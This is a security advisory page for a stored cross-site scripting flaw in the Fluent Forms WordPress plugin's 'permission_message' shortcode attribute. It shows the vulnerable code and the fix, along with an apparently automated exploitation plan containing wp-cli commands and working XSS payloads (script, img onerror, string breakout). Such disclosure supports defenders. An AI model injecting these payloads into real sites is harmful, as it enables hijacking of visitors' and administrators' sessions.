Fluent Forms <= 6.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'permission_message' Shortcode Attribute
Description
The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'permission_message' parameter in all versions up to, and including, 6.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.2.2
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-6828 - Fluent Forms Stored XSS ## 1. Vulnerability Summary The **Fluent Forms** plugin (up to version 6.2.1) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `permission_message` attribute in its primary shortcode. This occurs because the plugin…
Show full research plan
Vulnerability Research Plan: CVE-2026-6828 - Fluent Forms Stored XSS
1. Vulnerability Summary
The Fluent Forms plugin (up to version 6.2.1) is vulnerable to Stored Cross-Site Scripting (XSS) via the permission_message attribute in its primary shortcode. This occurs because the plugin fails to sanitize or escape the attribute value when rendering the "access denied" message for a form. An authenticated attacker with Contributor privileges can use the shortcode in a post or page to inject malicious JavaScript that executes when a user (including administrators) views that page and fails a form restriction check.
2. Attack Vector Analysis
- Shortcode:
[fluentform] - Vulnerable Attribute:
permission_message - Authentication Level: Contributor or higher (any role capable of using shortcodes in posts/pages).
- Precondition: The form referenced in the shortcode must have a restriction enabled (e.g., "Require Login") that is triggered by the victim viewing the page.
- Payload Location: Embedded within the
post_contentof a WordPress Post or Page.
3. Code Flow
- Shortcode Registration: The plugin registers the
[fluentform]shortcode (typically in a class likeShortCodeParserorComponent). - Parsing: When a page containing the shortcode is rendered, the
ShortCodeParserparses attributes, includingidandpermission_message. - Permission Check: The code identifies the form by
idand evaluates its settings (e.g.,requireLoginfound influentform_form_meta). - Sink: If the current viewer does not meet the requirements (e.g., is a guest or lacks a specific role), the parser renders a message. If the
permission_messageattribute is present in the shortcode, the code returns/echoes it directly without callingesc_html()orwp_kses().
4. Nonce Acquisition Strategy
This vulnerability is exploited by creating or editing a WordPress post. While a Contributor can do this via the UI, an automated agent should use the WordPress REST API or the standard post.php endpoint.
- Create Page for Nonce: No specific Fluent Forms nonce is required for the shortcode itself. However, to create a form or change settings as an Admin during setup, the
fluent_form_entries_varsor similar JS objects might contain nonces for the Fluent Forms API. - Accessing Fluent Forms Nonce (for Setup):
- Navigate to the Fluent Forms dashboard:
wp-admin/admin.php?page=fluent_forms. - Use
browser_evalto extract the nonce:window.fluent_forms_global_var?.nonce - (Note: Based on
app/Modules/Entries/EntryViewRenderer.php, the plugin localizesfluent_form_entries_varson entry pages, but for general form management, look forfluent_forms_global_var).
- Navigate to the Fluent Forms dashboard:
5. Exploitation Strategy
Step 1: Target Identification
Find a valid Form ID. If none exist, create one.
# Get the ID of the first available form
wp db query "SELECT id FROM wp_fluentform_forms LIMIT 1"
Step 2: Test Data Setup (Admin)
Configure a form to be restricted so the permission_message is triggered.
- Enable "Require Login" for Form ID
1. - This is done by updating the
formSettingsmeta key in thefluentform_form_metatable.
Step 3: Payload Injection (Contributor)
As a Contributor, create a post containing the malicious shortcode.
wp post create --post_type=post --post_status=publish --post_author=[CONTRIB_ID] \
--post_title="Contact Us" \
--post_content='[fluentform id="1" permission_message="<script>alert(document.domain)</script>"]'
Step 4: Triggering the XSS (Guest/Victim)
Access the post as a guest or any user that triggers the "Require Login" restriction.
- Endpoint:
GET /?p=[POST_ID] - Payload: The shortcode attribute
permission_messagewill be rendered in the HTML body.
6. Test Data Setup
- Existing Form: Ensure at least one form exists. Use
wp evalto insert a blank form if necessary. - Restriction Setting:
// Example SQL/PHP to force a restriction $settings = json_decode(get_db_val_for_form_1_settings); $settings['restrictions']['requireLogin']['enabled'] = true; // Update DB - Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123.
7. Expected Results
When visiting the post URL as an unauthenticated user (Guest):
- The form container will appear.
- Instead of the form fields, the message
<script>alert(document.domain)</script>will be rendered in the DOM. - The browser will execute the script, showing an alert box.
8. Verification Steps
- HTTP Verification:
- Use
http_requestto fetch the post content. - Check if the response body contains the raw payload:
grep "<script>alert(document.domain)</script>"
- Use
- Database Verification:
- Verify the post content is stored exactly as injected:
wp db query "SELECT post_content FROM wp_posts WHERE ID = [POST_ID]"
- Verify the post content is stored exactly as injected:
9. Alternative Approaches
If the id attribute is checked for existence before the message is displayed:
- Ensure the
idin the shortcode matches a real ID inwp_fluentform_forms.
If the script is blocked by a Content Security Policy (CSP):
- Use an
<img>tag withonerror:[fluentform id="1" permission_message="<img src=x onerror=alert(1)>"]
If the message is rendered inside a <div> but sanitization occurs:
- Try breaking out of the context if the message is used inside a JS variable:
[fluentform id="1" permission_message="';alert(1)//"](though this is less likely given the description).
Summary
The Fluent Forms plugin is vulnerable to Stored Cross-Site Scripting via the 'permission_message' shortcode attribute because it fails to sanitize or escape this input before rendering it in an error message. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript into a post, which then executes when a user viewing the page fails a form access restriction check.
Vulnerable Code
// app/Modules/Component/Component.php line 511 (v6.2.1) if (!empty($atts['permission'])) { if (!current_user_can($atts['permission'])) { return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$atts['permission_message']}</div>"; } } --- // app/Modules/Component/Component.php line 567 (v6.2.1) if (is_array($isRenderable) && !$isRenderable['status']) { return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$isRenderable['message']}</div>"; }
Security Fix
@@ -510,7 +510,7 @@ if (!empty($atts['permission'])) { if (!current_user_can($atts['permission'])) { - return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$atts['permission_message']}</div>"; + return $this->getNotRenderableHtml($form->id, $atts['permission_message']); } } @@ -565,7 +565,7 @@ $isRenderable = $this->app->applyFilters('fluentform/is_form_renderable', $isRenderable, $form); if (is_array($isRenderable) && !$isRenderable['status']) { - return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$isRenderable['message']}</div>"; + return $this->getNotRenderableHtml($form->id, $isRenderable['message']); } $instanceCssClass = Helper::getFormInstaceClass($form->id); @@ -805,6 +805,13 @@ return $output . $otherScripts; } + protected function getNotRenderableHtml($formId, $message) + { + return "<div id='ff_form_" . esc_attr($formId) . "' class='ff_form_not_render'>" + . wp_kses_post($message) + . "</div>"; + } + /** * Process the output HTML to generate the default values. *
Exploit Outline
1. Identify a target Fluent Form ID (e.g., id="1") that has a restriction enabled, such as 'Require Login'. 2. Log in to the WordPress site with Contributor privileges or higher. 3. Create a new post or page and embed the malicious shortcode: [fluentform id="1" permission_message="<script>alert(document.domain)</script>"]. 4. Publish or save the post. 5. As a victim user (e.g., an administrator or an unauthenticated guest), navigate to the URL of the newly created post. 6. Because the victim triggers the form's restriction (e.g., if they are not logged in or lack a required capability), the plugin renders the value of the 'permission_message' attribute directly into the HTML, causing the injected script to execute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.